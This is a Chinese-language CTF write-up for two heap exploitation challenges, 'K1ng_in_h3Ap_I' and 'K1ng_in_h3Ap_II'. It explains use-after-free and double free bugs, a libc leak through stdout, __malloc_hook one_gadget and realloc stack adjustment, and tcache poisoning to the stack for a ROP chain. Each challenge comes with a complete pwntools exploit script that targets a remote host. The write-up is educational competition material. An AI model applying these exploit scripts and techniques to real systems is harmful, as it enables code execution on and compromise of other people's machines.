前言

美好的一个中秋假期,然而基友们都去见女朋友了。。。只有自己在打比赛,太惨了!!!
虽然如此,女生只会影响我拔剑的速度。还是来总结一下这场比赛的骚思路更现实一些😶

K1ng_in_h3Ap_I

点击下载题目附件

题目保护

如下图所示,基本保护全开
K1ng_in_h3Ap保护机制

题目逻辑

其就是一个标准的菜单堆,框架如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax

nothing();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = read_int();
if ( v3 != 2 )
break;
delete();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
edit();
}
else if ( v3 == 666 )
{
show();
}
}
else if ( v3 == 1 )
{
add();
}
}
}

对于add功能,就是添加一个给定输入大小的内存块,逻辑如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
_DWORD *add()
{
_DWORD *result; // rax
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]

puts("input index:");
v1 = read_int();
if ( v1 < 0 || v1 > 10 )
exit(0);
puts("input size:");
v2 = read_int();
if ( v2 < 0 || v2 > 240 )
exit(0);
chunks[v1] = malloc(v2);
result = size;
size[v1] = v2;
return result;
}

对于delete功能,其就是free掉申请的内存。但是这里并没有置0,从而导致存在double free问题。其逻辑如下所示

1
2
3
4
5
6
7
8
9
10
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]

puts("input index:");
v0 = read_int();
if ( v0 < 0 || v0 > 10 || !chunks[v0] || !size[v0] )
exit(0);
free((void *)chunks[v0]);
}

另外,则是edit功能,就是根据add时的数据,重新向内存中写入数据。由于前面delete处的漏洞,则这里存在严重的UAF。其逻辑如下所示

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("input index:");
v1 = read_int();
if ( v1 < 0 || v1 > 15 || !chunks[v1] )
exit(0);
puts("input context:");
return read_input(chunks[v1], size[v1]);
}

最后,则是唯一的一个受限输出,其逻辑如下所示

1
2
3
4
int show()
{
return printf("%p\n", (const void *)((unsigned __int64)&printf & 0xFFFFFF));
}

解题思路

glibc下的题目基本都是模板题——如果开启了PIE和地址随机化,则就是泄露glibc基址,然后调用相关系统调用即可

这里明显没有可以控制的输出函数。但是一般的输出函数会输出IO_2_1_stdout->_IO_write_base地址处IO_2_1_stdout->IO_write_ptr - _IO_2_1_stdout->_IO_write_base大小的字节。则通用的套路就是改小IO_2_1_stdout->_IO_write_base的值,从而让输出函数多输出一些内容,而这里面往往就会包含有glibc相关的数据

由于有了基址,则通过UAF,我们可以向__free_hook__malloc_hook中写入one_gadget,从而最终获取shell

套路姿势

_IO_2_1_stdout泄露glibc基址

一般情况下,我们需要一个指向_IO_2_1_stdout结构体附近的内存块,从而写入覆盖的数据
由于_IO_2_1_stdout结构体附近(_IO_2_1_stdout - 0x40 + 5 - 8)恰好有一个可以伪造成0x71的fast bin(fast bin的SIZE字段0x7f等效于0x71),如下所示
_IO_2_1_stdout伪造chunk

则我们只需要在将该伪造chunk插入相关的fast bin链中。则申请内存时,该伪造chunk可以当做正常的内存被返回,则直接我们只需要输入如下数据,即可将_IO_2_1_stdout->_IO_write_base的低位覆盖为\x00,从而输出函数会输出更多内容

1
padding * 51 + p64(0xfbad1800) + p64(0) * 3 + '\x00'

覆盖链表指向

如果没有可控的输出函数,则我们很难获取堆地址,这对于修改空闲链表的指向阻碍很大(因为我们没法将链表的指向修改到已有的合法堆空间)中,但是并非完全没有办法。

如果我们的要求仅仅是将链表指向修改到相近的堆地址中,则可以通过覆盖链表指向的后几位,从而更改链表的指向。

一般这个用来和前面IO_2_1_stdout配合使用的。
如果一个fast bin上保留有unsorted bin等的fd信息,则该值和IO_2_1_stdout一般仅仅低16位不同,而由于低12位是固定的,因此覆盖掉该fast bin的后16位,有的可能性,其指向IO_2_1_stdout处伪造的chunk。因此只需要稍加爆破,即可成功利用

one_gadget

在glibc中,我们会进行使用one_gadget——将其写入got表中或返回地址中,然后通过执行该地址处的代码,从而一步获取shell。当然,好东西都是有代价的,其执行需要有诸多的限制,如栈中数据或寄存器的要求,如下所示
one_gadget约束

而有时,栈上数据或寄存器确实无法满足这些要求,则我们就很难使用该条件。
实际上,有两个解决办法

double free触发malloc_printerr

当我们触发了malloc_printerr时,其会调用malloc。如果设置了__malloc_hookone_gadget,恰好有[esp+0x50]==0
因此,我们只需要将__malloc_hook的值覆写为约束条件为[esp + 0x50] == 0的约束条件的one_gadget,然后连续释放两次相同的chunk即可

抬高栈基址

我们有指向__malloc_hook的指针,则问题就好办多了——因为__realloc_hook就在__malloc_hook旁边

一般,如果有指向__malloc_hook的指针,都是指向__malloc_hook周边伪造的fast bin,如下所示
__malloc_hook伪造chunk

因此,如果我们将__malloc_hook设置为realloc的地址,同时将__realloc_hook的地址设置为one_gadget,则实际上仍然相当于执行了one_gadget。但是一般函数开始部分都是push指令,其会降低栈地址,则我们跳过几个reallocpush指令的话,仍然会执行one_gadget,但是相对栈基址位移处的实际地址变大了,相当于抬高栈帧,则很容易满足one_gadget的约束。
这里首先给出realloc部分汇编代码及其偏移,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
84710:	41 57                	push   %r15
84712: 41 56 push %r14
84714: 41 55 push %r13
84716: 41 54 push %r12
84718: 49 89 f4 mov %rsi,%r12
8471b: 55 push %rbp
8471c: 53 push %rbx
8471d: 48 89 fb mov %rdi,%rbx
84720: 48 83 ec 38 sub $0x38,%rsp
84724: 48 8b 05 a5 f8 33 00 mov 0x33f8a5(%rip),%rax # 3c3fd0 <_IO_file_jumps@@GLIBC_2.2.5+0x8f0>
8472b: 48 8b 00 mov (%rax),%rax
8472e: 48 85 c0 test %rax,%rax
84731: 0f 85 21 02 00 00 jne 84958 <__libc_realloc@@GLIBC_2.2.5+0x248>

这里展示一下抬栈姿势,我们就以[rsp + 0x30] = 0约束为例,其余是类似的。
如果我们简单的直接修改__malloc_hookrealloc@@GLIBC_2.2.5,再将__realloc_hook更改为one_gadget,则其最后面临如下情况
rsp+0x30约束下one_gadget栈上数据1

根据前面realloc@GLIBC_2.2.5汇编代码可以看到,从reallocone_gadget,其将栈地址下调了0x70,而[rsp + 0x30 - 0x70] != 0,即不满足one_gadget约束。但是我们发现[rsp + 0x30 - 0x70 + 0x8 * 4]处存在满足约束的数据——则我们只需要抬高栈基址0x20,即减少四次push指令,即可满足one_gadget约束。
因此,根据前面给出的realloc汇编代码,我们将__malloc_hook设置为realloc@@GLIBC_2.2.5 + 8,仍然将__realloc_hook更改为one_gadget即可,此时情况如下所示
rsp+0x30约束下one_gadget栈上数据2

则我们只需要在__malloc_hook附近输入如下指令,即可完成one_gadget的利用

1
padding * 0xb + p64(lib_base + one_gadget) + p64(lib_base + lib.sym['realloc'] + offset)

题解和关键说明

首先,我们需要一个指向IO_2_1_stdout附近的内存块,一般通过释放超过fast bin大小的内存来获取,然后在通过覆盖已有的fast bin链指针,将该fake chunk插入链上,相关代码如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
wp_add(r, 0, 0xd0)		#base
wp_add(r, 2, 0x10) #base
wp_delete(r, 0)

wp_add(r, 1, 0x60) #base
wp_add(r, 2, 0x60) #base + 0x70
wp_add(r, 3, 0x60) #base + 0x70 * 2

wp_delete(r, 2)
wp_delete(r, 3)
wp_edit(r, 3, '\x00')
wp_edit(r, 1, '\xdd\x25')
wp_add(r, 4, 0x60)
wp_add(r, 3, 0x60)
wp_add(r, 2, 0x60)

经过这些步骤,此时内存布局如下所示
K1ng_in_h3Ap_I内存布局1

此时,在0x70大小的fast bin链上,已经形成了chunk_baes + 0x100->chunk_baes->IO_2_1_stdout - 0x43的链,则我们可以覆盖IO_2_1_stdout的值,从而泄露glibc基址
下面则是普通的伪造chunk,从而修改__malloc_hookone_gadget,此时使用前面的抬栈方式即可构建满足约束条件的one_gadget

最后,完整的wp如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import sys
import platform

'''
待修改数据
'''
context.log_level = 'debug'
context.arch = 'amd64' # 32位使用i386
context.os = 'linux'

execve_file = './pwn'
lib_file = './libc.so.6'
argv = []




'''
elf.plt[`symbol`] 获取elf文件中导入符号的plt地址
elf.got[`symbol`] 获取elf文件中导入符号的got地址
elf.sym['symbol'] 获取elf文件中本地符号的函数实际地址
'''
if execve_file != None:
elf = ELF(execve_file)

'''
lib.sym[`symbol`] 获取lib中符号地址
lib.search['string'].next() 获取lib中字符串地址
'''
if lib_file != None:
lib = ELF(lib_file)

log.info('-----------------------------------------------------------')


'''
执行爆破攻击
只有当成功获取shell或者键盘Ctrl+C退出时,程序中止循环
否则程序一直进行循环
'''


def wp_add(r, idx, size):
r.sendlineafter('>>', '1')
r.sendlineafter('input index:', str(idx))
r.sendlineafter('input size:', str(size))

def wp_delete(r, idx):
r.sendlineafter('>>', '2')
r.sendlineafter('input index:', str(idx))


def wp_edit(r, idx, context):
r.sendlineafter('>>', '3')
r.sendlineafter('input index:', str(idx))
r.sendlineafter('input context:', context)

def wp_show(r):
r.sendlineafter('>>', '666')

def exp():
if 'd' in sys.argv:
#r = gdb.debug([execve_file] + argv) # 首先加载当前目录下的动态库文件
r = process([execve_file] + argv) # 首先加载当前目录下的动态库文件
else:
r = remote(sys.argv[1], sys.argv[2])

wp_add(r, 0, 0xd0) #base
wp_add(r, 2, 0x10) #base
wp_delete(r, 0)

wp_add(r, 1, 0x60) #base
wp_add(r, 2, 0x60) #base + 0x70
wp_add(r, 3, 0x60) #base + 0x70 * 2

wp_delete(r, 2)
wp_delete(r, 3)
wp_edit(r, 3, '\x00')
wp_edit(r, 1, '\xdd\x25')
wp_add(r, 4, 0x60)
wp_add(r, 3, 0x60)
wp_add(r, 2, 0x60)

wp_edit(r, 2, '\x00' * 51 + p64(0xfbad1800) + p64(0) * 3 + '\x88')
lib_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00')) + 0x7ffff7a0d000 - 0x7ffff7dd18e0
log.info('lib_base => %#x'%(lib_base))


wp_delete(r, 3)
wp_edit(r, 3, p64(lib_base + lib.sym['__malloc_hook'] - 0x23))

wp_add(r, 3, 0x60)
wp_add(r, 3, 0x60)

wp_edit(r, 3, '\x00' * 0xb + p64(lib_base + 0x4527a) + p64(lib_base + lib.sym['realloc'] + 8))
wp_add(r, 3, 0x60)
r.interactive()

while True:
try:
exp()
break
except KeyboardInterrupt:
break
except:
continue


log.info('-----------------------------------------------------------')

K1ng_in_h3Ap_II

点击下载题目附件
这里特别说明一下,目前ubuntu18的tcache已经被打上了补丁,即包含了key字段的检测——因此不能仅通过glibc官网版本源代码去分析(里面少了部分机制)

题目保护

如下图所示,仍然是保护全开
K1ng_in_h3Ap_II保护机制

题目逻辑

和前面的K1ng_in_h3Ap_I是类似的,仍然是一个标准的菜单堆,框架如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
nothing();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = 0;
__isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
delete();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
edit();
}
else if ( v3 == 4 )
{
show();
}
}
else if ( v3 == 1 )
{
add();
}
}
}

对于add功能,类似前面,仍然是添加一个给定输入大小的内存块,逻辑如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
_DWORD *add()
{
_DWORD *result; // rax
int v1; // [rsp+8h] [rbp-8h]
int v2; // [rsp+Ch] [rbp-4h]

puts("input index:");
v1 = read_int();
if ( v1 < 0 || v1 > 15 )
exit(0);
puts("input size:");
v2 = read_int();
if ( v2 <= 15 || v2 > 96 )
exit(0);
chunk[v1] = malloc(v2);
result = size;
size[v1] = v2;
return result;
}

对于delete功能,也没怎么改变,就是free掉申请的内存。同样存在未置0导致的double free问题,其逻辑如下所示

1
2
3
4
5
6
7
8
9
10
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]

puts("input index:");
v0 = read_int();
if ( v0 < 0 || v0 > 15 || !chunk[v0] )
exit(0);
free((void *)chunk[v0]);
}

最后一个与前面非常相似的,就是edit功能——由于前面delete处的漏洞,这里存在严重的UAF问题。函数逻辑如下所示

1
2
3
4
5
6
7
8
9
10
11
ssize_t edit()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("input index:");
v1 = read_int();
if ( v1 < 0 || v1 > 15 || !chunk[v1] )
exit(0);
puts("input context:");
return read(0, (void *)chunk[v1], (int)size[v1]);
}

与前面较大的不同在于,该程序有可控的输出函数——这样配合UAF,可以轻松的获取堆地址和glibc基址。函数逻辑如下所示

1
2
3
4
5
6
7
8
9
10
int show()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("input index:");
v1 = read_int();
if ( v1 < 0 || v1 > 15 || !chunk[v1] )
exit(0);
return puts((const char *)chunk[v1]);
}

解题思路

一方面,由于此时有可控的输出函数,则配合UAF,我们没必要在类似前面修改IO_2_1_stdout来泄露glibc基址——只需要将超过fast bin大小的chunk释放到unsorted bin中,然后打印即可
另一方面,由于tcache可以指向任意位置,而无需检查指向的位置是否为合法的chunk。则通过environ变量,我们可以泄露栈地址,并伪造指向当前函数栈的tcache链即可,从而输入rop链,通过调用openreadwrite系统调用,获取flag

套路姿势

限制大小的tcache下释放chunk至unsorted bin

首先,由于所有释放的chunk会先释放到tcache,等tcache填充满(7个)后才释放到fast binunsorted bin中。则我们必须释放8个相同大小的,大小超过fast bin的chunk,才能将chunk释放到unsorted bin中;
其次,对于限制大小的tcache来说,就算按照前面释放8个,其第8个及之后的都会被释放至fast bin中,不满足要求。

可以看到,上述的方法对于释放chunk到unsorted bin中都是比较麻烦的,一般更通用的方法是堆重叠。
因为tcache也是有范围的,其有64个按照首项是4 * SIZE_SZ,公差是2 * SIZE_SZ的等差数列分布的范围,即其大小范围通式为。只要我们申请足够多的连续内存块,然后在这些连续内存块组成的内存区域,伪造一个大小为2 * SIZE_SZ * 65(32位为0x208,64位为0x410)的内存(注意还需要伪造后面的合法内存,否则无法通过释放时的检测)。之后通过写入/覆盖掉tcachefd字段,即可将该伪造内存插入到tcache链上,然后申请后在释放即可。
一般的内存布局如下所示
tcache释放chunk至unsorted bin

获取栈布局

由于tcache在分布时,不会去检查当前链上的内存是否为合法的bin。因此,只要我们可以控制tcache链的指向,我们就可以分配到指向部分的内存——这为我们获取程序的栈分布带来了极大的便利。

实际上,通过man execveman 7 environ,可以看到,glibc中包含有程序的环境变量的指针数组,如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/*
man execve

The argument vector and environment can be accessed by the called program's main function, when it is defined as:

int main(int argc, char *argv[], char *envp[])

Note, however, that the use of a third argument to the main function is not specified in POSIX.1; according to POSIX.1, the environment should be accessed via the external variable envi‐
ron(7).
*/


/*
man 7 environ
extern char **environ;

The variable environ points to an array of pointers to strings called the "environment". The last pointer in this array has the value NULL. (This variable must be declared in the user pro‐
gram, but is declared in the header file <unistd.h> if the _GNU_SOURCE feature test macro is defined.) This array of strings is made available to the process by the exec(3) call that started
the process. When a child process is created via fork(2), it inherits a copy of its parent's environment.
*/

根据计算机基础知识,我们知道环境变量就是main的第三个参数,即位于栈上分布。因此,如果我们已经获取了glibc的基址,则我们可以将tcache链指向lib_base + lib.sym[‘environ’]。然后会获取一个指针数组,其每一个元素都指向栈上某个位置。如果我们打印内存上的数据,也就获取了栈上的相关信息。

后面就非常好利用了——如果有了栈信息,则通过栈上存储的返回地址,我们可以轻易的获取代码段地址;有了代码段地址,则我们通过覆写栈上返回地址,可以控制执行流

题解和关键说明

首先,需要通过前面分析过的堆叠加,从而在大小受限的情况下,将可控的内存释放到unsorted bin中,命令如下所示

1
2
3
4
5
6
7
8
9
10
11
for i in range(12):
wp_add(r, i, 0x50) #base + 0x60 * i

#fake chunk: base + 0x20
wp_delete(r, 1)
wp_delete(r, 0)
wp_show(r, 0)
chunk_base = u64(r.recv(6).ljust(8, '\x00')) - 0x60 - 0x10
log.info('chunk_base => %#x'%(chunk_base))
wp_edit(r, 11, p64(0) * 2 + p64(0) + p64(0x21) + p64(0) * 2 + p64(0) + p64(0x21))
wp_edit(r, 0, p64(chunk_base + 0x30) + p64(0) + p64(0) + p64(0x421) + p64(0))

一方面,在序号为0的内存中构造了fake chunk的chunk头信息;另一方面,在序号为11的内存中完成上下文的构建(用来释放时绕过检查)。此时,其内存布局如下所示
K1ng_in_h3Ap_II内存布局1

此时,我们已经将伪造的非tcache bin范围内的内存块插入到tcache链中。此时,只需要申请到该内存,然后在释放,则可以将该可控的内存块释放入unsorted bin中,相当于我们获取了glibc基址。

那么,接下来就非常简单了——我们通过UAF,直接将lib_base + p64(lib.sym[‘environ’])插入到tcache链中,然后打印,即可获取栈的相关位置。

在获取栈位置后,通过偏移计算,可以获取指定的栈帧,那么将该栈帧作为fake chunk,向该fake chunk写入数据,则相当于更改栈帧数据,也就是可以更改函数返回地址,则可以使用rop(这里最好选择edit函数的栈帧——对于其他函数栈帧,其先通过调用edit函数覆盖栈帧,然后再到指定函数被调用过程中,栈帧可能被其他函数栈帧再次覆盖)

最后,完整的wp如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import sys
import platform

'''
待修改数据
'''
context.log_level = 'debug'
context.arch = 'amd64' # 32位使用i386
context.os = 'linux'

execve_file = './pwn'
lib_file = './libc.so.6'
argv = []



'''
elf.plt[`symbol`] 获取elf文件中导入符号的plt地址
elf.got[`symbol`] 获取elf文件中导入符号的got地址
elf.sym['symbol'] 获取elf文件中本地符号的函数实际地址
'''
if execve_file != None:
elf = ELF(execve_file)

'''
lib.sym[`symbol`] 获取lib中符号地址
lib.search['string'].next() 获取lib中字符串地址
'''
if lib_file != None:
lib = ELF(lib_file)

log.info('-----------------------------------------------------------')


'''
执行爆破攻击
只有当成功获取shell或者键盘Ctrl+C退出时,程序中止循环
否则程序一直进行循环
'''


def wp_add(r, idx, size):
r.sendlineafter('>> \n', str(1))
r.sendlineafter('input index:\n', str(idx))
r.sendlineafter('input size:\n', str(size))

def wp_delete(r, idx):
r.sendlineafter('>> \n', str(2))
r.sendlineafter('input index:\n', str(idx))

def wp_edit(r, idx, context):
r.sendlineafter('>> \n', str(3))
r.sendlineafter('input index:\n', str(idx))
r.sendlineafter('input context:\n', context)


def wp_show(r, idx):
r.sendlineafter('>> \n', str(4))
r.sendlineafter('input index:\n', str(idx))

def exp():
if 'd' in sys.argv:
#r = gdb.debug([execve_file] + argv) # 首先加载当前目录下的动态库文件
r = process([execve_file] + argv) # 首先加载当前目录下的动态库文件
else:
r = remote(sys.argv[1], sys.argv[2])

for i in range(12):
wp_add(r, i, 0x50) #base + 0x60 * i

#fake chunk: base + 0x20
wp_delete(r, 1)
wp_delete(r, 0)
wp_show(r, 0)
chunk_base = u64(r.recv(6).ljust(8, '\x00')) - 0x60 - 0x10
log.info('chunk_base => %#x'%(chunk_base))
wp_edit(r, 11, p64(0) * 2 + p64(0) + p64(0x21) + p64(0) * 2 + p64(0) + p64(0x21))
wp_edit(r, 0, p64(chunk_base + 0x30) + p64(0) + p64(0) + p64(0x421) + p64(0))


# get the fake chunk and free
wp_add(r, 0, 0x50) #base
wp_add(r, 13, 0x50) #base + 0x20
wp_delete(r, 13)
wp_show(r, 13)
lib_base = u64(r.recv(6).ljust(8, '\x00')) - 0x7fddc0f01ca0 + 0x7fddc0b16000
log.info('lib_base => %#x'%(lib_base))

# get the stack
wp_delete(r, 3)
wp_delete(r, 2)
wp_edit(r, 2, p64(lib_base + lib.sym['environ']))
wp_add(r, 2, 0x50)
wp_add(r, 13, 0x50)
wp_show(r, 13)
edit_stack = u64(r.recv(6).ljust(8, '\x00')) - 0x7ffcb363c768 + 0x7ffcb363c640
log.info('edit_stack => %#x'%(edit_stack))

# get the code
wp_delete(r, 5)
wp_delete(r, 4)
wp_edit(r, 4, p64(edit_stack + 0x10 + 8))
wp_add(r, 4, 0x50)
wp_add(r, 4, 0x50)
wp_show(r, 4)
code_base = u64(r.recv(6).ljust(8, '\x00')) - 0xfe1
log.info('code_base => %#x'%(code_base))


# rop: read(0, buf, 0x200)
edit_stack = edit_stack + 0x10 + 8
shellcode = p64(code_base + 0x104a) + p64(0) + p64(1) + p64(code_base + elf.got['read']) + p64(0) + p64(edit_stack + 0x8 * 8) + p64(8 * 31 + len('flag') + 1) + p64(code_base + 0x1030) + p64(0) + p64(0)[:-1]
wp_edit(r, 4, shellcode)

edit_stack = edit_stack + 0x8 * 8
flag_addr = edit_stack + 8 * 31
shellcode = p64(0) * 7 + p64(code_base + 0x1053) + p64(flag_addr) + p64(code_base + 0x1051) + p64(4) + p64(0) + p64(lib_base + lib.sym['open']) + p64(code_base + 0x104a) + p64(0) + p64(1) + p64(code_base + elf.got['read']) + p64(3) + p64(flag_addr) + p64(0x40) + p64(code_base + 0x1030) + p64(0) * 7 + p64(code_base + 0x1053) + p64(flag_addr) + p64(code_base + elf.plt['puts'])
r.send(shellcode + 'flag\x00')
r.interactive()


exp()
log.info('-----------------------------------------------------------')